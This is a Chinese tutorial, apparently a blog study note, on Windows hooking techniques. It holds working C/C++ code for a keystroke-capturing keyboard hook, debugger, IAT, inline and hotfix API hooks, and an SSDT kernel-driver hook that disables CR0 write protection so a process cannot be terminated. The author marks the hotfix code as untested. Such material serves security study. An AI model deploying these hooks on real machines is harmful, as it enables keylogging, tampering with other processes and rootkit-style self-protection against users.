windows下hook机制主要是替换程序要使用的函数,以替换掉原函数的功能或者添加功能。
比如杀软主动防御功能,监控敏感API,对这些函数进行hook;木马病毒可能hook键盘消息来窃取用户输入,从而获得某些密码
windows下的hook主要分为应用层和内核层,内核层一般在x86平台使用,因为从Windows Vista x64开始引入Patch Guard技术极大地限制了Windows内核挂钩的使用。
内核层hook:
应用层hook
消息hook
注入hook
IAT hook
Inline Hook
HotFix Hook
调试Hook
消息hook
Windows消息流:
发生键盘输入事件时,WM_KEYDOWN消息被添加到[OS message queue]
OS判断哪个应用程序发生了事件,然后从[OS message queue]取出消息,添加到相应应用程序的[application message queue]中
应用程序监视自身的[application message queue],发现WM_KEYDOWN消息调用相应的事件处理程序
钩子位于[OS message queue]和[application message queue]
代码实现:调用SetWindowsHookEx API
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| #include <string> #include <stdio.h> #include <stdlib.h> #include <memory.h> #include <Windows.h> #include <iostream> #include <fstream>
using namespace std;
#define DEF_PROCESS_NAME "notepad.exe"
HHOOK g_hHook; HINSTANCE g_HInstance;
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) { char szPath[MAX_PATH] = { 0 }; KBDLLHOOKSTRUCT* keyNum = (KBDLLHOOKSTRUCT*)lParam;
if (keyNum->flags == 128 || keyNum->flags == 129) { printf("0x%x\n", keyNum->vkCode); } return CallNextHookEx(NULL, nCode, wParam, lParam); }
_declspec(dllexport) void HookStart() { g_HInstance = GetModuleHandleA(NULL); g_hHook = SetWindowsHookExA(WH_KEYBOARD_LL, KeyboardProc, g_HInstance, NULL); if (g_hHook) { printf("Hook Success\n"); } else { printf("Hook Failed\n"); }
} _declspec(dllexport) void HookStop() { if (g_hHook) { UnhookWindowsHookEx(g_hHook); g_hHook = NULL; printf("Unhook Success\n"); } } int main() { char buf[256] = { 0 }; HookStart(); MSG msg; while (1) { if (PeekMessageA( &msg, NULL, NULL, NULL, PM_REMOVE )) { TranslateMessage(&msg);
DispatchMessageW(&msg); } else Sleep(0); } HookStop(); return 0; }
|
这里处理了所有的按键消息,如果有需要可以查阅相关资料。
如果有图形化界面,可以不用处理消息。因为图形化界面允许回调函数的。
弊端是只能监视较少消息,如击键消息,鼠标消息,窗口消息
调试Hook
和调试器类似,让进程发生异常,然后自己捕获异常,对于被调试状态下的级进行恶意操作。
核心思路是将API的第一个字节修改为0xCC(INT 3),当API被调用时,由于触发了异常,控制权交给调试器。
相关函数
代码实现(64位,需要先阅读文档查看传参规则)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176
| #include <string> #include <stdio.h> #include <stdlib.h> #include <memory.h> #include <Windows.h> #include <iostream> #include <fstream> #include <TlHelp32.h> #include <comdef.h>
using namespace std;
#define DEF_PROCESS_NAME "notepad.exe"
LPVOID WriteFileAddress = NULL; CREATE_PROCESS_DEBUG_INFO CreateProcessDebugInfomation; BYTE INT3 = 0xCC, OldByte = 0;
BOOL OnCreateProcessDebugEvent(LPDEBUG_EVENT pde) { WriteFileAddress = GetProcAddress(GetModuleHandleA("kernel32.dll"), "WriteFile");
memcpy(&CreateProcessDebugInfomation, &pde->u.CreateProcessInfo, sizeof(CREATE_PROCESS_DEBUG_INFO)); ReadProcessMemory(CreateProcessDebugInfomation.hProcess, WriteFileAddress, &OldByte, sizeof(BYTE), NULL); WriteProcessMemory(CreateProcessDebugInfomation.hProcess, WriteFileAddress, &INT3, sizeof(BYTE), NULL);
return TRUE; }
BOOL OnExceptionDebugEvent(LPDEBUG_EVENT pDebugEvent) { CONTEXT Context; PBYTE lpBuffer = NULL; DWORD64 dwNumOfBytesToWrite, dwAddrOfBuffer, i; PEXCEPTION_RECORD pExceptionRecord = &pDebugEvent->u.Exception.ExceptionRecord; cout <<hex<< EXCEPTION_BREAKPOINT; cout << ' '; cout << hex << pExceptionRecord->ExceptionCode; cout << endl; if (EXCEPTION_BREAKPOINT == pExceptionRecord->ExceptionCode) { if (WriteFileAddress == pExceptionRecord->ExceptionAddress) { WriteProcessMemory(CreateProcessDebugInfomation.hProcess, WriteFileAddress, &OldByte, sizeof(BYTE), NULL);
Context.ContextFlags = CONTEXT_FULL; GetThreadContext(CreateProcessDebugInfomation.hThread, &Context);
dwAddrOfBuffer = Context.Rdx; dwNumOfBytesToWrite = Context.R8; cout <<hex<< Context.Rip << endl; lpBuffer = (PBYTE)malloc(dwNumOfBytesToWrite + 1); memset(lpBuffer, 0, dwNumOfBytesToWrite + 1);
ReadProcessMemory(CreateProcessDebugInfomation.hProcess, (LPVOID)dwAddrOfBuffer, lpBuffer, dwNumOfBytesToWrite, NULL); printf("\n### original string ###\n%s\n", lpBuffer);
for (i = 0; i < dwNumOfBytesToWrite; i++) { if (0x61 <= lpBuffer[i] && lpBuffer[i] <= 0x7A) lpBuffer[i] -= 0x20; }
printf("\n### converted string ###\n%s\n", lpBuffer);
WriteProcessMemory(CreateProcessDebugInfomation.hProcess, (LPVOID)dwAddrOfBuffer, lpBuffer, dwNumOfBytesToWrite, NULL); free(lpBuffer); Context.Rip = (DWORD64)WriteFileAddress; SetThreadContext(CreateProcessDebugInfomation.hThread, &Context);
ContinueDebugEvent(pDebugEvent->dwProcessId, pDebugEvent->dwThreadId, DBG_CONTINUE); Sleep(0);
WriteProcessMemory(CreateProcessDebugInfomation.hProcess, WriteFileAddress, &INT3, sizeof(BYTE), NULL);
return TRUE; } }
return FALSE; }
void DebugLoop() { DEBUG_EVENT DebugEvent; DWORD dwContinueStatus;
while (WaitForDebugEvent(&DebugEvent, INFINITE)) { dwContinueStatus = DBG_CONTINUE;
if (CREATE_PROCESS_DEBUG_EVENT == DebugEvent.dwDebugEventCode) { OnCreateProcessDebugEvent(&DebugEvent); } else if (EXCEPTION_DEBUG_EVENT == DebugEvent.dwDebugEventCode) { if (OnExceptionDebugEvent(&DebugEvent)) continue; } else if (EXIT_PROCESS_DEBUG_EVENT == DebugEvent.dwDebugEventCode) {
break; }
ContinueDebugEvent(DebugEvent.dwProcessId, DebugEvent.dwThreadId, dwContinueStatus); } } DWORD traverseProcesses() { PROCESSENTRY32 pe32; pe32.dwSize = sizeof(pe32); HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); if (hProcessSnap == INVALID_HANDLE_VALUE) { printf("Create snap Error!\n"); return -1; } BOOL bResult = Process32First(hProcessSnap, &pe32); int num(0); while (bResult) { _bstr_t b(pe32.szExeFile); if (!strcmp(b, "notepad.exe")) { cout <<"find: "<<b<<" "<< pe32.th32ProcessID << endl; return pe32.th32ProcessID; } bResult = Process32Next(hProcessSnap, &pe32); } return -1; } void debugHook(DWORD pid) { printf("attach pid %d\n", pid); if (!DebugActiveProcess(pid)) { printf("attach Failed %d\n",GetLastError()); exit(-1); } DebugLoop(); } int main() { DWORD pid = traverseProcesses(); debugHook(pid); return 0; }
|
注入Hook
核心思想是修改API代码,使用DLL注入技术,将Hook的代码注入到另一进程,此时DLL在B进程的内存中,就有权限直接修改B内存中的代码了。
以下内容需要了解dll注入技术。
IAT Hook
修改IAT里的函数地址对API进行Hook
把IAT表中API的地址修改为恶意代码地址,就可以实现Hook效果
要hook的dll: 在main函数中计算IAT的位置并且修改对应的代码
穷举所有模块,找到要hook的模块
修改内存属性
替换iat表中表项
改回内存属性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118
| #include "pch.h" #include <tchar.h> #include <iostream> #include <fstream> #include <stdio.h>
using namespace std;
#pragma comment(lib,"urlmon.lib")
HMODULE hMod = NULL; PBYTE pAddr = NULL; DWORD64 dwRVA; PIMAGE_IMPORT_DESCRIPTOR pImportDesc; LPCSTR szLibName; char szDllName[] = "kernel32.dll"; PIMAGE_THUNK_DATA pThunk; DWORD dwOldProtect;
typedef BOOL (*FnWriteFile)( HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped );
FnWriteFile pfnOld = nullptr;
BOOL pfnNew(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped){
char szHookText[] = "IBinary -> Iat Hook"; MessageBoxA(NULL, "Successed", (LPCSTR)lpBuffer, MB_OK); if (pfnOld != nullptr) { return pfnOld(hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped); } return FALSE; } void iatHook() { MessageBoxA(NULL, "开始进行HOOK", NULL, NULL); FARPROC pHookAddress = GetProcAddress(GetModuleHandleA("kernel32.dll"), "WriteFile"); if (nullptr == pHookAddress) { OutputDebugString(TEXT("获取函数地址失败")); MessageBoxA(NULL, "获取函数地址失败HOOK", NULL, NULL);
return; } pfnOld = (FnWriteFile)pHookAddress;
HMODULE hModImageBase = GetModuleHandle(NULL); PIMAGE_DOS_HEADER pDosHead = (PIMAGE_DOS_HEADER)(DWORD64)hModImageBase; DWORD64 dwTemp = (DWORD64)pDosHead + (DWORD64)pDosHead->e_lfanew; PIMAGE_NT_HEADERS pNtHead = (PIMAGE_NT_HEADERS)dwTemp; PIMAGE_FILE_HEADER pFileHead = (PIMAGE_FILE_HEADER)&pNtHead->FileHeader; PIMAGE_OPTIONAL_HEADER pOptHead = (PIMAGE_OPTIONAL_HEADER)&pNtHead->OptionalHeader;
DWORD dwExportLocal = pOptHead->DataDirectory[1].VirtualAddress; dwTemp = (DWORD64)GetModuleHandle(NULL) + dwExportLocal; PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)dwTemp; PIMAGE_IMPORT_DESCRIPTOR pCurrent = pImport; DWORD64* pFirstThunk;
while (pCurrent->Characteristics && pCurrent->FirstThunk != NULL) { dwTemp = pCurrent->FirstThunk + (DWORD64)GetModuleHandle(NULL); pFirstThunk = (DWORD64*)dwTemp; while (*(DWORD64*)pFirstThunk != NULL) { if (*(DWORD64*)pFirstThunk == (DWORD64)pfnOld) { DWORD oldProtected; VirtualProtect(pFirstThunk, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtected); dwTemp = (DWORD64)pfnNew; memcpy(pFirstThunk, (DWORD64*)&dwTemp, 8); VirtualProtect(pFirstThunk, 0x1000, oldProtected, &oldProtected); } pFirstThunk++; } pCurrent++; }
}
BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ HANDLE hThread = NULL; switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: iatHook(); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
|
Inline Hook
直接修改内存中任意函数的代码,将其劫持至Hook API。劫持后先进行“脱钩”,即能正常调用原函数,执行完毕后再次Hook。
步骤:
修改被hook函数的前几个字节,使其跳转到恶意函数
恶意函数的操作
修复函数
执行原函数
执行恶意操作
最后要把函数修改以便下次hook
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
| #include "pch.h" #include <tchar.h> #include <iostream> #include <fstream> #include <stdio.h>
using namespace std;
#pragma comment(lib,"urlmon.lib") DWORD dwOldProtect;
typedef void (*FnPrintHello)(void);
FnPrintHello pfnOld = nullptr;
BYTE pOldBytes[5];
BOOL pfnNew(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType); BOOL inlineHook() { MessageBoxA(NULL, "start", "StartHook", MB_OK); DWORD dwOldProtect; DWORD64 dwAddress; BYTE pBuf[5] = { 0xE9,0, }; PBYTE pByte; pfnOld = (FnPrintHello)((0x140011C20LL - 0x140001000+ 0x1000LL) + (DWORD64)GetModuleHandleA("Project1.exe")); pByte = (PBYTE)pfnOld; if (pByte[0] == 0xE9)return FALSE; VirtualProtect((LPVOID)pfnOld, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect); memcpy(pOldBytes, pfnOld, 5); dwAddress = (DWORD64)pfnNew - (DWORD64)pfnOld - 5; cout <<hex<< dwAddress << endl; memcpy(&pBuf[1], &dwAddress, 4); memcpy(pfnOld, pBuf, 5); VirtualProtect((LPVOID)pfnOld, 5, dwOldProtect, &dwOldProtect); return TRUE; } BOOL inlineUnHook() { DWORD dwOldProtect; BYTE pBuf[5] = { 0xE9,0, }; PBYTE pByte; pfnOld = (FnPrintHello)((0x140011C20LL - 0x140001000LL+0x1000)+(DWORD64)GetModuleHandleA("Project1.exe")); pByte = (PBYTE)pfnOld; VirtualProtect((LPVOID)pfnOld, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect); memcpy(pBuf, pOldBytes,5); memcpy(pfnOld, pBuf, 5); VirtualProtect((LPVOID)pfnOld, 5, dwOldProtect, &dwOldProtect); return TRUE; } BOOL pfnNew(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType){
char szHookText[] = "IBinary -> Iat Hook"; MessageBoxA(NULL, "Successed", (LPCSTR)lpText, MB_OK); inlineUnHook();
BOOL result=FALSE; if (pfnOld != nullptr){ pfnOld(); } inlineHook(); return result; } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ HANDLE hThread = NULL; switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: inlineHook(); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
|
被Hook的程序代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| #include <iostream> #include <stdio.h> #include <Windows.h>
void printHello() { printf("HelloWorld\n"); } int main() { LoadLibraryA("myhackdll.dll"); printHello();
return 0; }
|
HotFix Hook
上面的Hook方法存在效率问题(每次都需要修改程序的前5字节),并且不支持多线程。HotFix Hook可以解决这些问题。
API函数以 MOV EDI,EDI开始,并且上方有5个NOP指令。可以利用这7个字节来进行Hook操作。
当API被调用时,先jmp short至上面5个字节,然后再jmp至恶意代码。
代码实现(还未实验)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| #include "pch.h" #include <tchar.h> #include <iostream> #include <fstream> #include <stdio.h>
using namespace std;
#pragma comment(lib,"urlmon.lib") DWORD dwOldProtect; ofstream ofs("hack.txt");
typedef BOOL(*FnMessageBoxA)( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType );
FnMessageBoxA pfnOld = nullptr; FnMessageBoxA realFn = nullptr;
BOOL pfnNew(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType); BOOL hotfixHook() { DWORD dwOldProtect; DWORD64 dwAddress; PBYTE pByte; MessageBoxA(NULL, "Start", "Hook start!!", MB_OK); pfnOld = (FnMessageBoxA)GetProcAddress(GetModuleHandleA("user32.dll"),"MessageBoxA"); realFn = (FnMessageBoxA)((DWORD64)pfnOld + 2); BYTE pBuf[5] = { 0xE9,0, }; BYTE pBuf2[2] = { 0xEB,0xF9 };
pByte = (PBYTE)pfnOld; if (pByte[0] == 0xEB) return FALSE; VirtualProtect((LPVOID)((DWORD64)pfnOld - 5), 7, PAGE_EXECUTE_READWRITE, &dwOldProtect); dwAddress = (DWORD)pfnNew - (DWORD)pfnOld; memcpy(&pBuf[1], &dwAddress, 4); memcpy((LPVOID)((DWORD)pfnOld - 5), pBuf, 5); memcpy(pfnOld, pBuf2, 2); VirtualProtect((LPVOID)((DWORD64)pfnOld - 5), 7, dwOldProtect, &dwOldProtect); return TRUE; }
BOOL pfnNew(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType){
ofs << "Your infomation is mine!!" << endl; BOOL result=FALSE; if (pfnOld != nullptr){ realFn(hWnd,lpText,lpCaption,uType); } return result; } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ HANDLE hThread = NULL; switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: hotfixHook(); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: ofs.close(); break; } return TRUE; }
|
并不是所有都适用,如果没有7字节,只能用5字节修改技术。
SSDT Hook
用户层API最后的实质也是内核层API(Kernel32->Ntdll->Ntoskrnl)
该Hook方法最为强大
内核通过SSDT(System Device Descriptor Table)调用各种函数,SSDT是一个函数表,得到一个索引值,就能根据这个索引值在该表中得到想要的地址。
先找到SSDT的首地址,然后就可以根据索引,找到相应的函数
找索引号
根据反汇编结果找到索引号
内核Hook步骤
修改内存属性为RWX
拼接汇编代码jmp [Hook Func]
保存源代码头5个字节
将头5个字节替换为2的汇编码
恢复前5字节
恢复内存属性
由于内核层hook需要有权限,所以使用驱动方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162
| #include <ntifs.h>
typedef struct _KSYSTEM_SERVICE_TABLE { PULONG ServiceTableBase; PULONG ServiceCounterTableBase; ULONG NumberOfService; ULONG ParamTableBase; }KSYSTEM_SERVICE_TABLE;
typedef struct _KSERVICE_TABLE_DESCRIPTOR { KSYSTEM_SERVICE_TABLE ntoskrnl; KSYSTEM_SERVICE_TABLE win32k; KSYSTEM_SERVICE_TABLE notUsed1; KSYSTEM_SERVICE_TABLE notUsed2; }KSERVICE_TABLE_DESCRIPTOR;
typedef NTSTATUS (NTAPI*FuZwOpenProcess)( _Out_ PHANDLE ProcessHandle, _In_ ACCESS_MASK DesiredAccess, _In_ POBJECT_ATTRIBUTES ObjectAttributes, _In_opt_ PCLIENT_ID ClientId );
NTSTATUS NTAPI MyZwOpenProcess( _Out_ PHANDLE ProcessHandle, _In_ ACCESS_MASK DesiredAccess, _In_ POBJECT_ATTRIBUTES ObjectAttributes, _In_opt_ PCLIENT_ID ClientId );
FuZwOpenProcess g_OldZwOpenProcess;
KSERVICE_TABLE_DESCRIPTOR* g_pServiceTable = NULL;
ULONG g_Pid = 9527;
void InstallHook();
void UninstallHook();
void ShutPageProtect();
void OpenPageProtect();
void OutLoad(DRIVER_OBJECT* obj);
NTSTATUS DriverEntry(DRIVER_OBJECT* driver, UNICODE_STRING* path) { path; KdPrint(("驱动启动成功!\n"));
InstallHook();
driver->DriverUnload = OutLoad; return STATUS_SUCCESS; }
void OutLoad(DRIVER_OBJECT* obj) { obj; UninstallHook(); }
void InstallHook() { PETHREAD pNowThread = PsGetCurrentThread(); g_pServiceTable = (KSERVICE_TABLE_DESCRIPTOR*) (*(ULONG*)((ULONG)pNowThread + 0xbc)); g_OldZwOpenProcess = (FuZwOpenProcess) g_pServiceTable->ntoskrnl.ServiceTableBase[0xbe]; ShutPageProtect(); g_pServiceTable->ntoskrnl.ServiceTableBase[0xbe] = (ULONG)MyZwOpenProcess; OpenPageProtect(); }
void UninstallHook() { ShutPageProtect(); g_pServiceTable->ntoskrnl.ServiceTableBase[0xbe] = (ULONG)g_OldZwOpenProcess; OpenPageProtect(); }
void _declspec(naked) ShutPageProtect() { __asm { push eax; mov eax, cr0; and eax, ~0x10000; mov cr0, eax; pop eax; ret; } }
void _declspec(naked) OpenPageProtect() { __asm { push eax; mov eax, cr0; or eax, 0x10000; mov cr0, eax; pop eax; ret; } }
NTSTATUS NTAPI MyZwOpenProcess( _Out_ PHANDLE ProcessHandle, _In_ ACCESS_MASK DesiredAccess, _In_ POBJECT_ATTRIBUTES ObjectAttributes, _In_opt_ PCLIENT_ID ClientId ) { if (ClientId->UniqueProcess == (HANDLE)g_Pid && DesiredAccess == PROCESS_TERMINATE) { DesiredAccess = 0; } return g_OldZwOpenProcess( ProcessHandle, DesiredAccess, ObjectAttributes, ClientId); }
|
参考资料
[1] HOOK实例之一:实现键盘钩子截获密码等键盘输入(vs2013详细流程)_Childe_Mu的博客-CSDN博客
[2] Hooks Overview - Win32 apps | Microsoft Docs
[3] C++ Hook 键盘记录器_LYSM-CSDN博客
[4] c++ 遍历获取所有进程名及PID_o_ohello的博客-CSDN博客
[5] IAT Hook - iBinary - 博客园
[6] [原创]SSDT-HOOK–看雪
[7] Windows Hook原理与实现_安全杂货铺-CSDN博客